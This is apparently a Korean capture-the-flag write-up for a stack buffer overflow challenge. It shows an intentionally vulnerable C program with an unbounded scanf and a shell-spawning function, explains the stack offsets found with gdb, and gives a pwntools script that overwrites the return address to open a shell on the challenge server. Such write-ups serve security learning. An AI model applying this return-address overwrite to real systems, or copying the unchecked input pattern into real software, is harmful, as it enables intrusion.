주어진 코드를 먼저 살펴본다.
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
먼저 /bin/sh를 실행할 수 있는 코드인 get_shell 함수가 보이고, buf를 입력할 수 있는 scanf함수가 보인다. 그런데, scanf함수로 입력받으면 입력할 수 있는 최대 크기가 정해지지 않으므로 buffer stack overflow 취약점이 발생한다. 이때 gdb로 스택의 상태를 살짝 확인해본다.

main+35번째 줄을 보면 rbp-0x30이 보인다. 이는 즉 buf의 위치가 rbp에서 0x30만큼 떨어져 있는 것이므로 이를 다시 그림으로 표현해보면 다음과 같다.

즉, buf + dummy + rsp만큼 더미값을 채우고, return address가 시작되는 주소에 get_shell 주소를 대입하면 문제가 풀릴 것이다.
최종 익스플로잇 코드는 다음과 같다.
from pwn import *
p = remote("host3.dreamhack.games", 19973)
shell = b'A' * 0x30 + b'B' * 0x8 + p64(0x4006aa) # get_shell 주소는 0x4006aa
p.recvuntil("Input: ")
p.sendline(shell)
p.interactive()